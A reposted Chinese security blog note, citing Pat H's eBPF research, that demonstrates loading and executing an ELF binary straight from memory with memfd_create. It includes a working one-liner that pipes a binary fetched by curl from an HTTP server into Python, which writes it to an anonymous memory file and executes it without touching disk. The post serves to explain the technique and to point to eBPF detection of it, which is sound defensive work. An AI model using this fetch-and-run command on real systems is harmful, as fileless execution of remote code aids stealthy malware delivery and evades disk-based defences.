从内存中直接加载执行ELF

admin 2022年10月29日20:19:14评论56 views字数 951阅读3分10秒阅读模式
作者: Pat H
创建: 2021-02-15

参看

Using eBPF to uncover in-memory loading - Pat H [2021-02-15]
https://blog.tofile.dev/2021/02/15/ebpf-01.html

作者给了一个完整示例,从内存中直接加载执行ELF。bluerust推荐过memfd_create,但我现在很少用C编程,未实践过。Pat H给了Python版示例,演示效果极佳。

假设WEB服务在此

cp /usr/bin/id .
python3 -m http.server -b 192.168.65.25 8080

在客户端验证WEB服务正常

curl -s http://192.168.65.25:8080/id | xxd -s 0 -l 32 -g 1

在客户端确认memfd_create系统调用号是319

$ grep "__NR_memfd_create" /usr/include/asm/unistd_64.h
#define __NR_memfd_create 319

在客户端用curl远程拉id回来,不写硬盘,直接执行

curl -s http://192.168.65.25:8080/id | python3 -c '
import sys, os, ctypes
libc            = ctypes.CDLL( "libc.so.6" )
memfd_create    = 319
fd              = libc.syscall( memfd_create, "", 0 )
data            = sys.stdin.buffer.read()
os.write( fd, data )
path            = f"/proc/self/fd/{fd}"
os.execv( path, [path,] )
'

参看

BPF-PipeSnoop
https://github.com/pathtofile/bpf-pipesnoop

Pat H用eBPF实现对shell管道操作的监控,这是个C项目,应该可以改写成BCC项目。

原文始发于微信公众号(青衣十三楼飞花堂):从内存中直接加载执行ELF

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月29日20:19:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从内存中直接加载执行ELFhttps://cn-sec.com/archives/1358517.html

发表评论

匿名网友 填写信息